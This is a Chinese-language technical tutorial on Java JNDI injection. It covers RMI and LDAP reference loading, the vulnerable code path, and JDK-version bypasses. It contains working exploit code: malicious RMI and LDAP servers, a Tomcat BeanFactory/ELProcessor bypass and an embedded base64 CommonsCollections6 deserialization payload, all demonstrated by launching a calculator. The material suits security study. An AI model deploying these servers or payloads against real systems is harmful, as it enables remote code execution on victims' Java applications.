JNDI概述

​ JNDI全称为Java命名和目录接口。我们可以理解为JNDI提供了两个服务,即命名服务和目录服务。

​ 命名服务将一个对象和一个名称进行绑定,然后放置到一个容器里面。当我们想要获取这个对象的时候,就可以通过容器来查找这个名称,从而获得这个对象。

​ 目录服务就是将一些对象的属性放置到容器中,然后想要操作这个属性的时候,就通过容器来进行查找。

​ 对比一下命名服务和目录服务,其实命名服务就是绑定对象,而目录服务就是绑定了对象的属性。在JNDI中,命名服务和目录服务是一起结合提供的,最容易理解的一个例子就是RMI。

​ 在RMI的服务端,通常我们会将一个远程对象和一个名称进行绑定,然后将其注册到注册表里面。除了通过RMI来实现客户端从而获取到对象之外,还可以使用JNDI来获取对象。JNDI其实就是对这些提供了命名服务或者目录服务的逻辑进行了一个封装,例如上面的RMI,我们可以直接调用JNDI提供的lookup函数来远程获取,例如:lookup("rmi://127.0.0.1/bind");如果提供服务的是LDAP,我们同样可以通过lookup("ldap://127.0.0.1/")来进行访问。

JNDI结构

在Java JDK里面提供了5个包,提供给JNDI的功能实现,分别是:

javax.naming:主要用于命名操作,它包含了命名服务的类和接口,该包定义了Context接口和InitialContext类;

javax.naming.directory:主要用于目录操作,它定义了DirContext接口和InitialDir- Context类;

javax.naming.event:在命名目录服务器中请求事件通知;

javax.naming.ldap:提供LDAP支持;

javax.naming.spi:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务。

JNDI提供了一些API接口来实现查找和访问各种命名及目录服务,其中重点是这两个类:

InitialContext类

构造方法:

InitialContext() 
构建一个初始上下文。  
InitialContext(boolean lazy) 
构造一个初始上下文,并选择不初始化它。  
InitialContext(Hashtable<?,?> environment) 
使用提供的环境构建初始上下文。 

在这JDK里面给的解释是构建初始上下文,其实通俗点来讲就是获取初始目录环境。

常用方法:

bind(Name name, Object obj) 
    将名称绑定到对象。 
list(String name) 
    枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
lookup(String name) 
    检索命名对象。 
rebind(String name, Object obj) 
    将名称绑定到对象,覆盖任何现有绑定。 
unbind(String name) 
    取消绑定命名对象。 

Reference类

该类也是在javax.naming的一个类,所以在能使用的JNDI的客户端才能利用这个漏洞。该类表示对在命名/目录系统外部找到的对象的引用。提供了JNDI中类的引用功能。通俗的说也就是可以在当前环境用外部类。

构造方法:

Reference(String className) 
    为类名为“className”的对象构造一个新的引用。  
Reference(String className, RefAddr addr) 
    为类名为“className”的对象和地址构造一个新引用。  
Reference(String className, RefAddr addr, String factory, String factoryLocation) 
    为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。  
Reference(String className, String factory, String factoryLocation) 
    为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。  

参数1:className - 远程加载时所使用的类名

参数2:classFactory - 加载的class中需要实例化类的名称

参数3:classFactoryLocation - 提供classes数据的地址可以是file/ftp/http协议

这个参数1在这个链子中的意义不是很大,随便怎么填都不影响;他本来的作用应该是通过工厂类去加载的类的名字,但是在实例化工厂类的时候,就可以构造工厂类恶意的构造函数或者静态代码块等来实现rce了,所以没必要多此一举。

常用方法:

void add(int posn, RefAddr addr) 
    将地址添加到索引posn的地址列表中。  
void add(RefAddr addr) 
    将地址添加到地址列表的末尾。  
void clear() 
    从此引用中删除所有地址。  
RefAddr get(int posn) 
    检索索引posn上的地址。  
RefAddr get(String addrType) 
    检索地址类型为“addrType”的第一个地址。  
Enumeration<RefAddr> getAll() 
    检索本参考文献中地址的列举。  
String getClassName() 
    检索引用引用的对象的类名。  
String getFactoryClassLocation() 
    检索此引用引用的对象的工厂位置。  
String getFactoryClassName() 
    检索此引用引用对象的工厂的类名。    
Object remove(int posn) 
    从地址列表中删除索引posn上的地址。  
int size() 
    检索此引用中的地址数。  
String toString() 
    生成此引用的字符串表示形式。  

之前说过任何可以被远程调用方法的对象必须实现 java.rmi.Remote 接口,远程对象的实现类必须继承UnicastRemoteObject类。但由于Reference没有实现Remote接口,而且也没有继承UnicastRemoteObject类,所以不能作为一个远程对象绑定到Registry,所以后面用到的Reference需要使用ReferenceWrapper来对他的实例进行封装才可以远程调用

RMI实现JNDI注入

梳理了这些后来看看具体的实现

先编写恶意类calc:

public class calc{
    public calc() throws Exception{
        Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
    }
}

把编译好的class文件随便放在一个文件夹里

接着编写服务端代码:

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class server {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        String url = "http://127.0.0.1:8080/";
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("zz", "calc", url);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("obj",referenceWrapper);
        System.out.println("running");
    }
}

代码意思就是把referenceWrapper这个对象绑定到了obj这个名字上

最后来写客户端的:

import javax.naming.Context;
import javax.naming.InitialContext;

public class client {
    public static void main(String[] args) throws Exception{
        InitialContext initialContext = new InitialContext();
        initialContext.lookup("rmi://127.0.0.1:1099/obj");
    }
}

弄完后在calc.class文件夹起一个8080端口的服务,然后运行服务端和客户端就可以弹出来了

整个利用流程如下:

  • 目标代码中调用了InitialContext.lookup(URI),且URI为用户可控;
    攻击者控制URI参数为恶意的RMI服务地址,如:rmi://hacker_rmi_server//name;
  • 攻击者RMI服务器向目标返回一个Reference对象,会在客户端动态加载并实例化Reference对象中的Factory类,接着会调用factory.getObjectInstance()获取外部远程对象实例;
  • 攻击者可以在Factory类文件的构造方法、静态代码块、getObjectInstance()方法等处写入恶意代码,达到RCE的效果;

如果出不来的话需要把客户端的java版本调小一点。高版本不支持,这个后面分析的时候说。接下来再看具体的分析流程

分析流程

触发点在InitialContext类中的lookup方法:

public Object lookup(String name) throws NamingException {
        //getURLOrDefaultInitCtx函数会分析name的协议头返回对应协议的环境对象,此处返回Context对象的子类rmiURLContext对象
        //然后在对应协议中去lookup搜索,我们进入lookup函数
        return getURLOrDefaultInitCtx(name).lookup(name);
    }

里面返回的getURLOrDefaultInitCtx方法会根据传入的标识来返回一个URL上下文,然后调用了另一个lookup方法,先看看getURLOrDefaultInitCtx:

protected Context getURLOrDefaultInitCtx(Name name)
        throws NamingException {
        if (NamingManager.hasInitialContextFactoryBuilder()) {
            return getDefaultInitCtx();
        }
        if (name.size() > 0) {
            String first = name.get(0);
            String scheme = getURLScheme(first);
            if (scheme != null) {
                Context ctx = NamingManager.getURLContext(scheme, myProps);
                if (ctx != null) {
                    return ctx;
                }
            }
        }
        return getDefaultInitCtx();
    }

getURLOrDefaultInitCtx函数会分析name的协议头返回对应协议的环境对象,此处返回Context对象的子类rmiURLContext对象,由于rmiURLContext里面没有lookup方法,但他继承的GenericURLContext类里面有lookup,所以再进入到GenericURLContext类里的lookup方法

public Object lookup(String var1) throws NamingException {
    //此处this为rmiURLContext类调用对应类的getRootURLContext类为解析RMI地址
    //不同协议调用这个函数,根据之前getURLOrDefaultInitCtx(name)返回对象的类型不同,执行不同的getRootURLContext
    //进入不同的协议路线
    ResolveResult var2 = this.getRootURLContext(var1, this.myEnv);//获取RMI注册中心相关数据
    Context var3 = (Context)var2.getResolvedObj();//获取注册中心对象

    Object var4;
    try {
        var4 = var3.lookup(var2.getRemainingName());//去注册中心调用lookup查找,我们进入此处,传入name=obj
    } finally {
        var3.close();
    }

    return var4;
}

这里也很清晰,就是一个返回RMI的注册中心对象,接着再一次调用注册中心的lookup去查找我们之前传入url后面想要查找的对象obj。

这里的var3是一个注册中心RegistryContext对象,所以说它会进入到RegistryContext类中的lookup方法:

public Object lookup(Name var1) throws NamingException {
    if (var1.isEmpty()) {
        return new RegistryContext(this);
    } else {//判断来到这里
        Remote var2;
        try {
            var2 = this.registry.lookup(var1.get(0));//RMI客户端与注册中心通讯,返回RMI服务端IP,地址等信息
        } catch (NotBoundException var4) {
            throw new NameNotFoundException(var1.get(0));
        } catch (RemoteException var5) {
            throw (NamingException)wrapRemoteException(var5).fillInStackTrace();
        }

        return this.decodeObject(var2, var1.getPrefix(1));//我们进入此处
    }
}

这里也就是返回了RMI服务端的相关信息来通信以获取想要的对象,再进入到decodeObject方法里面:

private Object decodeObject(Remote var1, Name var2) throws NamingException {
        try {
            //注意到上面的服务端代码,我们在RMI服务端绑定的是一个Reference对象,世界线在这里变动
            //如果是Reference对象会,进入var.getReference(),与RMI服务器进行一次连接,获取到远程class文件地址。
            //如果是普通RMI对象服务,这里不会进行连接,只有在正式远程函数调用的时候才会连接RMI服务。
            Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
            return NamingManager.getObjectInstance(var3, var2, this, this.environment);
            //获取reference对象进入此处
        } catch (NamingException var5) {
            throw var5;
        } catch (RemoteException var6) {
            throw (NamingException)wrapRemoteException(var6).fillInStackTrace();
        } catch (Exception var7) {
            NamingException var4 = new NamingException();
            var4.setRootCause(var7);
            throw var4;
        }
    }
}

也就是在这里才开始出现了转机,代码中可以看出,这里会判断是否是Reference对象,如果不是的话这里还不会与服务器连接,后面就是正常的与RMI服务端通信的过程;如果是Reference对象的话,会进入var.getReference(),与RMI服务器进行一次连接,获取到远程class文件地址。

继续跟进,进入到NamingManager类中的getObjectInstance方法中:

public static Object getObjectInstance(Object refInfo, Name name, Context nameCtx,Hashtable<?,?> environment)
    throws Exception
{
        // Use builder if installed
    ...
    // Use reference if possible
    Reference ref = null;
    if (refInfo instanceof Reference) {//满足
        ref = (Reference) refInfo;//复制
    } else if (refInfo instanceof Referenceable) {//不进入
        ref = ((Referenceable)(refInfo)).getReference();
    }

    Object answer;

    if (ref != null) {//进入此处
        String f = ref.getFactoryClassName();//获取工厂类名 calc
        if (f != null) {
            //任意命令执行点1(构造函数、静态代码),进入此处
            factory = getObjectFactoryFromReference(ref, f);
            if (factory != null) {
                //任意命令执行点2(覆写getObjectInstance),
                return factory.getObjectInstance(ref, name, nameCtx,
                                                    environment);
            }
            return refInfo;

        } else {
            // if reference has no factory, check for addresses
            // containing URLs

            answer = processURLAddrs(ref, name, nameCtx, environment);
            if (answer != null) {
                return answer;
            }
        }
    }

继续跟进getObjectFactoryFromReference方法:

static ObjectFactory getObjectFactoryFromReference(Reference ref, String factoryName)
    throws IllegalAccessException,InstantiationException,MalformedURLException
{
    Class clas = null;

    //尝试从本地获取该class
    try {
            clas = helper.loadClass(factoryName);
    } catch (ClassNotFoundException e) {
        // ignore and continue
        // e.printStackTrace();
    }
    //如果不在本地classpath,从cosebase中获取class
    String codebase;
    if (clas == null && (codebase = ref.getFactoryClassLocation()) != null) {
        //此处codebase是我们在恶意RMI服务端中定义的http://127.0.0.1:80/
        try {
            //从我们放置恶意class文件的web服务器中获取class文件
            clas = helper.loadClass(factoryName, codebase);
        } catch (ClassNotFoundException e) {
        }
    }
    //实例化我们的恶意class文件
    return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}

注释中说的很清晰了,即会先在本地加载工厂类calc,如果loadClass没有在本地找到该类,则它会调用getFactoryClassLocation来获取远程URL地址,如果获取到的不为空,则这段代码:clas = helper.loadClass(factoryName, codebase);会直接根据远程URL地址使用类加载器URLClassLoader来加载calc类

最后的return (clas != null) ? (ObjectFactory) clas.newInstance() : null;会实例化之前的恶意calc类文件,而实例化会默认调用构造方法、静态代码块,所以这就可以成功完成整条链子的任意代码执行

回看下com/sun/naming/internal/VersionHelper.java#loadClass的代码,为什么他可以远程获取类:

public Class<?> loadClass(String className, String codebase)
            throws ClassNotFoundException, MalformedURLException {

        ClassLoader parent = getContextClassLoader();
        ClassLoader cl =
                 URLClassLoader.newInstance(getUrlArray(codebase), parent);

        return loadClass(className, cl);
    }

可以看到确实是通过URLClassLoader来进行的远程动态类加载,实际上这种利用方式java在某些版本上是做了限制的,这个后面再讲。

最后总结一下流程:

在JNDI服务里,RMI服务端既可以直接绑定远程对象,也可以通过Reference来绑定一个外部的远程对象,
当这个恶意的Reference对象绑定到RMI注册中心,且经过一系列的判断之后,RMI服务端就会通过getReference()方法来获取绑定对象的引用,
然后当客户端通过lookup方法查找远程对象时,便会拿到相应的工厂类,最后就是进行实例化执行任意代码了

限制

最后我们来看一下,针对不同的JDK版本,官方给出了一些限制:

1、JDK 6u457u21之后java.rmi.server.useCodebaseOnly的默认值被设置为true,表示禁用自动加载远程类文件。

2、JDK 6u1417u1318u121之后:增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMICORBA协议使用远程codebase的选项。

3、JDK 6u2117u2018u191之后:增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项

这是Oracle官方对于Codebase的说明:https://docs.oracle.com/javase/1.5.0/docs/guide/rmi/codebase.html

意思就是它会指定Java程序在网络上加载类的路径,把他设置为false后就不能远程加载了,具体可以在代码中调试来看。

LDAP

而LDAP的利用方法和RMI的也大同小异,也只是协议的不同造成,这里就不过多演示了。接下来看看前面限制过是怎么绕过的。

绕过限制

绕过有这两种方法:

  • 加载本地类
  • 反序列化

先来看下加载本地类的方法

高版本的Java无法通过远程的Codebase来加载恶意的工厂类,此时如果利用的是类是存在于CLASSPATH中的,那么在经过javax.naming.spi.NamingManager#getObjectFactoryFromReference时便会先在本地CLASSPATH里寻找是否存在该类,如果没有,则再总远程寻找,所以这就可以绕过版本限制

在找本地可利用类时,由于之前javax.naming.spi.NamingManager#getObjectFactoryFromReference最后的return语句存在类型转型,所以这个工厂类必须要实现javax.naming.spi.ObjectFactory接口;并且还要至少有个getObjectInstance()方法。但是在JDK提供的原生实现类里其实并没有操作空间。所以下面我们主要的思路就是在一些常用的框架或者组件中寻找可利用的ObjectFactory实现类。,最终,安全人员找到了org.apache.naming.factory.BeanFactory,且这个类存在于Tomcat的依赖里,所以应用很广泛

提示一下:之前远程加载的时候没有要求实现javax.naming.spi.ObjectFactory接口,是因为在命令执行点1:返回(ObjectFactory) clas.newInstance()的时候,newInstance()过后就已经完成攻击了,后面就算有报错也已经不影响了,而这里是要进入到第二个命令执行点,并且需要在getObjectInstance()方法里面有恶意代码执行的位置才可以。

pom依赖:

<dependency>
   <groupId>org.apache.tomcat</groupId>
   <artifactId>tomcat-catalina</artifactId>
   <version>8.5.0</version>
</dependency>

<dependency>
   <groupId>org.apache.tomcat</groupId>
   <artifactId>tomcat-jasper-el</artifactId>
   <version>9.0.7</version>
</dependency>

编写服务器代码:

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.StringRefAddr;
import org.apache.naming.ResourceRef;

public class server {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor",
                (String)null, "", "", true, "org.apache.naming.factory.BeanFactory",
                (String)null);
        resourceRef.add(new StringRefAddr("forceString", "x=eval"));
        resourceRef.add(new StringRefAddr("x", "Runtime.getRuntime().exec(\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\")"));
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
        registry.bind("obj", referenceWrapper);
        System.out.println("running");
    }
}

然后编写客户端:

import javax.naming.InitialContext;

public class client {
    public static void main(String[] args) throws Exception{
        InitialContext initialContext = new InitialContext();
        initialContext.lookup("rmi://127.0.0.1:1099/obj");
    }
}

运行服务端与客户端,可以成功绕过版本限制,弹出计算器

现在来看下调用流程:

调用栈


getObjectInstance:123, BeanFactory (org.apache.naming.factory)
getObjectInstance:321, NamingManager (javax.naming.spi)
decodeObject:499, RegistryContext (com.sun.jndi.rmi.registry)
lookup:138, RegistryContext (com.sun.jndi.rmi.registry)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
main:9, JNDI_Test (demo)

由于不能远程加载了,所以这里没有直接用Reference类,而是用了ResourceRef 类,ResourceRef 类是继承了Reference类的。所以前面的链子是一样的

ResourceRef构造器的第七个参数factoryLocation是远程加载factory的地址,比如是一个url,这里将其设置为null,达到绕过ConfigurationException限制。

刚才说了前面链子的调用和之前的都差不多的,那么只是要着重看下javax.naming.spi.NamingManager#getObjectInstance的调用,之前说过它会通过getObjectFactoryFromReference来获取一个实例化的对象,除此之外,它还有一行代码:

return factory.getObjectInstance(ref, name, nameCtx,environment);

也就是如果能找到其他类的getObjectInstance方法,那么就可以进行进一步的调用了

接着来到org.apache.naming.factory.BeanFactory,它里面存在有getObjectInstance方法,即会调用它的这个方法

public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws NamingException {
    if (obj instanceof ResourceRef) {
        NamingException ne;
        try {
            Reference ref = (Reference)obj;
            String beanClassName = ref.getClassName();
            Class<?> beanClass = null;
            ClassLoader tcl = Thread.currentThread().getContextClassLoader();
            if (tcl != null) {
                try {
                    beanClass = tcl.loadClass(beanClassName);
                } catch (ClassNotFoundException var26) {
                }
            } else {
                try {
                    beanClass = Class.forName(beanClassName);
                } catch (ClassNotFoundException var25) {
                    var25.printStackTrace();
                }
            }

            if (beanClass == null) {
                throw new NamingException("Class not found: " + beanClassName);
            } else {
                BeanInfo bi = Introspector.getBeanInfo(beanClass);
                PropertyDescriptor[] pda = bi.getPropertyDescriptors();
                Object bean = beanClass.newInstance();
                RefAddr ra = ref.get("forceString");
                Map<String, Method> forced = new HashMap();
                String value;
                String propName;
                int i;
                if (ra != null) {
                    value = (String)ra.getContent();
                    Class<?>[] paramTypes = new Class[]{String.class};
                    String[] arr$ = value.split(",");
                    i = arr$.length;

                    for(int i$ = 0; i$ < i; ++i$) {
                        String param = arr$[i$];
                        param = param.trim();
                        int index = param.indexOf(61);
                        if (index >= 0) {
                            propName = param.substring(index + 1).trim();
                            param = param.substring(0, index).trim();
                        } else {
                            propName = "set" + param.substring(0, 1).toUpperCase(Locale.ENGLISH) + param.substring(1);
                        }

                        try {
                            forced.put(param, beanClass.getMethod(propName, paramTypes));
                        } catch (SecurityException | NoSuchMethodException var24) {
                            throw new NamingException("Forced String setter " + propName + " not found for property " + param);
                        }
                    }
                }

                Enumeration e = ref.getAll();

                while(true) {
                    while(true) {
                        do {
                            do {
                                do {
                                    do {
                                        do {
                                            if (!e.hasMoreElements()) {
                                                return bean;
                                            }

                                            ra = (RefAddr)e.nextElement();
                                            propName = ra.getType();
                                        } while(propName.equals("factory"));
                                    } while(propName.equals("scope"));
                                } while(propName.equals("auth"));
                            } while(propName.equals("forceString"));
                        } while(propName.equals("singleton"));

                        value = (String)ra.getContent();
                        Object[] valueArray = new Object[1];
                        Method method = (Method)forced.get(propName);
                        if (method != null) {
                            valueArray[0] = value;

                            try {
                                method.invoke(bean, valueArray);
                            } catch (IllegalArgumentException | InvocationTargetException | IllegalAccessException var23) {
                                throw new NamingException("Forced String setter " + method.getName() + " threw exception for property " + propName);
                            }
                        } else {
                            //省略部分代码
                        }
                    }
                }
            }
        }
        //省略部分代码
    } else {
        return null;
    }
}

里面有反射的调用:method.invoke,里面的所有参数都来自Reference

首先定义了目标类是Object bean = beanClass.newInstance();,这里指javax.el.ELProcessor所以这里其实有两个本地类ELProcessor类是最终执行方法的类

然后进入RefAddr ra = ref.get("forceString");,它会取出键值为forceString的值,然后进行拆分,拆分后,= 左边的参数会存入hashmap的key,后续会通过这个key来获取 = 右边的参数作为反射的method方法,这里可以让等号右边的值为javax.el.ELProcessor.eval方法

然后在对构造的属性x赋值,赋值为需要执行的恶意代码就可以了

resourceRef.add(new StringRefAddr("forceString", "x=eval"));
resourceRef.add(new StringRefAddr("x", "Runtime.getRuntime().exec(\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\")"));

最后执行是因为本地类javax.el.ELProcessor#eval方法能够执行el表达式,el表达式的格式是 ${表达式}这种格式的,调试的时候可以看到左下角的调用链,在反射调用eval后他其实是做了处理的,一步步调用把他包装成了合法格式。

到此,本地调用的绕过就结束了,还有一点要注意:

javax.el.ELProcessor本身是Tomcat8中存在的库,所以仅限Tomcat8及更高版本环境下可以通过javax.el.ELProcessor进行攻击,对于使用广泛的SpringBoot应用来说,可被利用的Spring Boot Web Starter版本应在1.2.x及以上,因为1.1.x及1.0.x内置的是Tomcat7

绕过高版本JDK限制:利用LDAP返回序列化数据,触发本地Gadget

高版本JVMReference Factory远程加载类进行了安全限制,JVM不会信任LDAP对象反序列化过程中加载的远程类。此时,攻击者仍然可以利用受害者本地CLASSPATH中存在漏洞的反序列化Gadget达到绕过限制执行命令的目的。

简而言之,LDAP Server除了使用JNDI Reference进行利用之外,还支持直接返回一个对象的序列化数据。如果Java对象的 javaSerializedData 属性值不为空,则客户端的 obj.decodeObject() 方法就会对这个字段的内容进行反序列化。其中具体的处理代码如下:

if ((attr = attrs.get(JAVA_ATTRIBUTES[SERIALIZED_DATA])) != null) { 
    ClassLoader cl = helper.getURLClassLoader(codebases);
    return deserializeObject((byte[])attr.get(), cl);
}

可以看到这里有一个反序列化的操作,那么如果目标系统中存在着可利用的Gadgets所需的一些包(如Commons-Collections-3.2.1等),那么也就存在反序列化漏洞了。

攻击利用

假设目标环境存在Commons-Collections-3.2.1包,且存在JNDI的lookup()注入Fastjson反序列化漏洞

pom包:

    <dependencies>




        <dependency>
            <groupId>com.unboundid</groupId>
            <artifactId>unboundid-ldapsdk</artifactId>
            <version>3.1.1</version>
        </dependency>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>

    </dependencies>

使用ysoserial工具生成Commons-Collections这条Gadget并进行Base64编码输出:

java -jar ysoserial.jar CommonsCollections6 '/System/Applications/Calculator.app/Contents/MacOS/Calculator'|base64

恶意LDAP服务器如下,如果是用自带的反序列化漏洞绕过限制的话只需要在javaSerializedData字段内填入刚刚生成的反序列化payload数据,其他数据可以随便填,但是url那里必须要是url的格式,后面需要有一个#接上随便一个类名,例如:http://123/#zz

import com.unboundid.util.Base64;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;

public class server {

    private static final String LDAP_BASE = "dc=example,dc=com";


    public static void main (String[] args) {

        String url = "http://vps:8000/#ExportObject";
        int port = 1234;


        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;


        /**
         *
         */
        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }


        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */
        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }

        }


        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Exploit");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }

            // Payload1: 利用LDAP+Reference Factory
//            e.addAttribute("javaCodeBase", cbstring);
//            e.addAttribute("objectClass", "javaNamingReference");
//            e.addAttribute("javaFactory", this.codebase.getRef());

            // Payload2: 返回序列化Gadget
            try {
                e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AARjYWxjdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg="));
            } catch (ParseException exception) {
                exception.printStackTrace();
            }

            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}

客户端的代码:url要填对应的url,端口填上面设置的端口,后面的类也可以随便填

import javax.naming.InitialContext;

public class client {
    public static void main(String[] args) throws Exception{
        InitialContext initialContext = new InitialContext();
        initialContext.lookup("ldap://localhost:1234/qwe");
    }
}

测试的时候注意把客户端的版本调高再测试噢!

参考文章

http://blog.o3ev.cn/yy/1278#top
https://blog.csdn.net/gental_z/article/details/122303540
https://www.cnblogs.com/nice0e3/p/13958047.html#0x03-jndi注入攻击
https://xz.aliyun.com/t/6633
https://kingx.me/Exploit-Java-Deserialization-with-RMI.html
https://tttang.com/archive/1611/
https://johnfrod.top/%E5%AE%89%E5%85%A8/%E9%AB%98%E4%BD%8Ejdk%E7%89%88%E6%9C%AC%E4%B8%ADjndi%E6%B3%A8%E5%85%A5/